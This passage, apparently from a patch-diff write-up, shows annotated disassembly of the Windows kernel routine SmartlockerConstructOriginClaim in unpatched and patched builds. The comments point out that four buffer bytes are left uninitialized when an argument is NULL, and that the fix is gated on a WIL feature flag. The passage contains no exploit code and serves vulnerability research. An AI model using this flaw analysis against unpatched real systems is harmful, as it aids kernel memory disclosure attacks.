&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dword_1C0016660&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;sequence&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F204&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+34h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x34&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F207&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F20A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F225&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F20C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F20F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+3Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F213&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+38h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F216&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F21A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F21E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x3C&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F223&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F229&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F225&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+38h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x38&lt;/span&gt;&lt;span class="o"&gt;]=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x3C..0x3F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;left&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uninitialized&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F229&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_28&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F22E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F230&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_30&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F235&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F238&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F23A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F23F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F244&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F249&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F24D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F24F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F251&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F252&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched build at the same address &lt;code&gt;0x1C001F138&lt;/code&gt; gates both the size adjustment and the zeroing on the WIL feature &lt;code&gt;Feature_965997883&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- SmartlockerConstructOriginClaim @ 0x1C001F138 ---- (PATCHED, allocation region)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F160&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F163&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F17E&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F165&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_965997883__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F16A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F16D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F16F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F171&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F174&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F177&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F179&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F17E&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F17B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F17E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F182&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F18E&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F184&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000000Dh&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F189&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F27C&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F18E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F190&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_965997883__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F195&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;41746&lt;/span&gt;&lt;span class="n"&gt;D73h&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Tag&lt;/span&gt;
